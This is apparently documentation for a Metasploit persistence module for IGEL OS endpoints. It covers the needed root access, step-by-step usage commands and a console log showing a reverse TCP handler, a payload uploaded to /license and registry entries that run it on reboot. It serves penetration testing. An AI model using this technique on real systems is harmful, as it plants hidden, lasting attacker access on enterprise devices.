## Vulnerable Application

IGEL OS with a `shell` or `meterpreter` session.

IGEL OS is a Linux-based operating system designed for endpoint devices,
primarily used in enterprise environments to provide secure access to virtual
workspaces. It focuses on enhancing security, simplifying management, and
improving user productivity across various sectors, including healthcare and
finance.

Most of the operating system is read-only, mounted from SquashFS images
stored in their proprietary filesystem, with the exception of a few persistent
locations. Therefore, changes to the system will likely be lost on a reboot,
unless written to specific locations, such as `/license` or registry.

This module requires root access in order to write to privileged locations
in registry and optionally remount and write to `/license`.

By default, the module writes a command payload to registry to fetch and execute
the binary payload on establishing a network connection after a reboot.

See [igelfs](https://github.com/Zedeldi/igelfs) for more information about
the IGEL filesystem and an unofficial Python implementation.

## Verification Steps

1. Get a `shell` or `meterpreter` session on an IGEL OS host
2. Use: `use exploit/linux/persistence/igel_persistence`
3. Set: `set SESSION <id>`, replacing `<id>` with the session ID
4. Set payload options, e.g. `LHOST`
5. Exploit: `run`
6. The payload is executed on next boot/login (dependent on `REGISTRY_KEY`)

## Options

| Name          | Description                                             |
| ------------- | ------------------------------------------------------- |
| REGISTRY_KEY  | Registry key to use for automatically executing payload |
| REGISTRY_ONLY | Set whether to store payload in registry (dropper only) |
| TARGET_DIR    | Directory to write payload (dropper only)               |

## Scenarios

```
msf exploit(linux/persistence/igel_persistence) > set SESSION 2
SESSION => 2
msf exploit(linux/persistence/igel_persistence) > set LHOST 192.168.56.1
LHOST => 192.168.56.1
msf exploit(linux/persistence/igel_persistence) > run
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Uploading payload to /license
[*] Writing persistence to registry
[*] Registry written successfully
[*] The payload should be executed when the target reboots
[*] Exploit completed, but no session was created.
```
